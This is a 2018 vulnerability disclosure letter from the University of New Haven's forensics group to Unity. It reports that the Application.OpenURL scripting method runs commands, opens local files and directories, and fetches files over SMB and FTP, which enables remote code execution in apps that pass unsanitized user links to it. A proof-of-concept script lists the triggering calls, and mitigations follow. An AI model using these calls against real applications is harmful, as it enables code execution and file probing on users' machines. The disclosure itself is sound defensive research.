UNIVERSITY
OF NEW HAVEN

UNHcFREG

UNHcFREG
Tagliatela College of Engineering
300 Boston Post Rd.
West Haven, CT 06516
Phone: (203) 932-7000
E-mail: ibaggili@newhaven.edu
URL: http://www.unhcfreg.com

October 17, 2018

Unity Technologies
30 3rd Street
San Francisco, CA 94103
United States
security@unity3d.com

Dear Unity Technologies,

The University of New Haven Cyber Forensics Research & Education Group (UNHcFREG) has recently conducted a security analysis of *an application*, which we cannot name at the moment. During our experiments, we found a security vulnerability in the Unity Scripting API which we deem as high impact. We are disclosing part of our research to you so that the issues described may be remedied.

Executive Summary:

A vulnerability was discovered in Unity Scripting API which can lead to unexpected I) Remote Code Execution (RCE) on host systems, II) Execution of programs (commands) on host systems, III) Opening folders in explorer and opening files with their default applications on host systems, and finally IV) Payload (malware) download.

The discovered vulnerabilities are not application specific, they are related to the Unity API used by applications. We expect that most of the applications using affected Unity API may be vulnerable. Our findings have been verified in our laboratory environment without any harm to legitimate users of applications.

Scripting API:

Unity's Scripting API includes method `Application.OpenURL`. According to the documentation, this method of `Application` class is intended to open a given URL.

```
public static void OpenURL(string url);
```

"Opens the url in a browser. In the editor or standalone player this will open a new page in the default browser with the url. It will also bring the browser application to the front."[1]

We found that execution of this function has unexpected and dangerous behaviour which is not documented. In case the parameter `string url` contains a name of command/program, it is immediately executed on the host system. Such command can be for example `calc`, `cmd`.

[1]https://docs.unity3d.com/ScriptReference/Application.OpenURL.html

Subsequently, we have discovered that noted method `Application.OpenURL` is capable of opening directories, running specified programs, opening files with their default applications, and also silently accessing non-existing paths without errors. Parameter `string url` can therefore contain filesystem paths to directories, files, and programs. We consider this a highly impact unexpected and undocumented behaviour. However, a developer may try to prevent this issue by conducting proper input sanitization and by ensuring that such method call will not happen.

We analyzed *an application* which used `Application.OpenURL` for opening links received from other users. In that case, it was possible to perform RCE due to lack of input sanitization. We consider the ability to run commands/programs, open directories/files via `Application.OpenURL` method to be a Severe Security Vulnerability.

Subsequently, we focused on several types of URI schemes. We agree, it is reasonable for `Application.OpenURL` method to support various types of URL. However, some URI schemes might be partially unexpected for a developer. Using `ftp:` it is possible to download a given file using a default FTP application. And with SMB path it is possible to open files and run programs over a network. There is also a variety of other URI schemes, and we suspect that developers might not be aware of their functionality[2] [3] [4].

The details of the workstations used for testing are presented in Table 1. The observed behavior was similar throughout.

Workstation	**OS Profile**	**Unity Version**
iBuyPOWER i-Series 506	Microsoft Windows Version 10.0.17134.345	5.4.1f1
iBuyPOWER i-Series 506	Microsoft Windows Version 10.0.17134.286	5.6.1f1
Lenovo Ideapad 310-15ikb	Microsoft Windows Version 10.0.17134.345	2017.1.1f1

Table 1: Workstations used for testing

Examples of behaviours mentioned above are presented in the following code:

```
using UnityEngine;

public class DemoOpenURL : MonoBehaviour {
  void Start () {
    /** Dangerous unexpected behaviour  */

    // run commands on host computer
    Application.OpenURL("cmd");
    // open path in explorer - directory
    Application.OpenURL("C:\\Users");
    // open path - run program
    Application.OpenURL("C:\\Windows\\System32\\calc.exe");
    // open path - open file
    Application.OpenURL("C:\\Users\\UNHcFREG\\Desktop\\unh.png");
    // Files which do not exist are skipped. Attacker could iterate over path.
    Application.OpenURL("C:\\Users\\UNHcFREG\\Desktop\\unh123.png");
```

[2]https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml

[3]https://docs.microsoft.com/en-us/windows/uwp/launch-resume/reserved-uri-scheme-names#reserved-uri-scheme-names

[4]https://docs.microsoft.com/en-us/windows/uwp/launch-resume/launch-default-app

```
    /** Partially expected behaviour  */

    // seach for files using Windows File Explorer
    Application.OpenURL("search-ms:crumb=System.Generic.String%3Atest.exe");
    // open Windows maps app
    Application.OpenURL("bingmaps:");

    // open file or run program over SMB
    Application.OpenURL("\\\\172.26.103.128\\smbtest\\test.exe");
    // download from FTP
    Application.OpenURL("ftp://speedtest.tele2.net/1MB.zip");
    // open new mail
    Application.OpenURL ("mailto:someone@example.com");
    // other communication schemes
    Application.OpenURL("tel:+1-212-555-1234");
    Application.OpenURL("irc://irc.w3.org/fooBarChannel");
    // access local files with browser using file URI scheme
    Application.OpenURL("file:///C:/Users/UNHcFREG/Desktop/unh.png");


    /* Expected behaviour */

    // download file from HTTPS URL (expected behaviour)
    Application.OpenURL("https://www.libreoffice.org/donate/dl/"
    +"win-x86/6.1.2/en-US/LibreOffice_6.1.2_Win_x86.msi");
    // open HTTPS URL (expected behaviour)
    Application.OpenURL("https://www.unhcfreg.com/");

    Application.Quit();
  }
  void Update () {}
}
```

Listing 1: Example script demonstrating discovered vulnerabilities

Mitigation & Suggestions:

We suggest addressing the following. We are concerned about the ability of the `Application.OpenURL` method to run commands/programs and open directories/files on host systems. We believe this is incorrect and dangerous behaviour. We suggest implementing parameter validations inside this API, which would prevent this issue.

As for mentioned various URI schemes, we suggest considering their support. In case that support for schemes like for example `search-ms`, `ftp` and SMB is, from your point of view, expected, we suggest one of following:

- Updating documentation with warning that developer has to conduct proper sanitization of parameter `string url` and also, warning about possible consequences would be very helpful.
- Updating `Application.OpenURL` method so that developers have to provide a second parameter in form of a "URI scheme whitelist" for a given method call.

security.txt Unfortunately, Unity's website[5] does not contain security.txt[6] [7]. This file can include information for security researchers regarding responsible disclosure of security vulnerabilities. We suggest adding such a file to `/.well-known/security.txt`.

Conclusion:

The research conducted by the UNHcFREG research group was entirely research oriented and no attacks were conducted outside of the controlled laboratory environment. Our findings outline the discovered vulnerabilities and possible exploits.

This document is sent to Unity's security team[8] on Thursday, October 17, 2018.

Any questions or need for clarification, please contact our team POC at: **ibaggili@newhaven.edu**.

Sincerely,

UNHcFREG

[5]https://unity3d.com/

[6]https://tools.ietf.org/html/draft-foudil-securitytxt-04

[7]https://securitytxt.org/

[8]`security@unity3d.com`